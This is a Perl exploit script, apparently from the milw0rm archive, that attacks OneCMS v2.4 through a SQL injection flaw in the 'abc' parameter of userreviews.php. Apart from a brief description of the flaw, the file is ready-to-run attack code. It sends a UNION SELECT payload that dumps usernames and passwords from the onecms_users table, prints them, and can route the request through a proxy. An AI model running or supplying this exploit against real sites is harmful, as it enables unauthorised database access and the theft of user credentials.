#!/usr/bin/perl
#
# OneCMS v2.4 Remote SQL Injection Exploit
# 
# Description
# -----------
# OneCMS contains a flaw that allows an attacker to carry out an SQL 
# injection attack. The issue is due to the userreviews.php script not 
# properly sanitizing user-supplied input to the 'abc' variable. This may 
# allow an attacker to inject or manipulate SQL queries in the backend 
# database if magic_quotes_gpc = off.
# -----------
# $Id: milw0rm_onecms.pl,v 0.1 2007/09/19 15:02:12 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;

&exploit($target); 

sub usage
{
  print "[?] OneCMS v2.4 Remote SQL Injection Exploit\n";
  print "[?] str0ke <str0ke[!]milw0rm.com>\n";
  print "[?] usage: perl $0 [target]\n";
  print "    [target] (ex. http://127.0.0.1/OneCMS)\n";
  print "    [proxy] (ex. 0.0.0.0:8080)\n";
  exit;
}

sub exploit
{
  my($target) = @_;

  my $conn = LWP::UserAgent->new() or die;
  $conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
  $conn->proxy("http", "http://".$proxy."/") unless !$proxy;
  
  my $out=$conn->get($target."/userreviews.php?abc=-1'%20union%20select%200,concat(0x3a,0x3a,0x3a,username,0x3a,password,0x3a,0x3a,0x3a)username,0,password,0,0,0,0,0%20from%20onecms_users/*");

  if ($out->content =~ m/:::(.*?):::/ms) {
    print $1 . "\n";
  } else { 
    print "Exploit Failed\n";
  }
}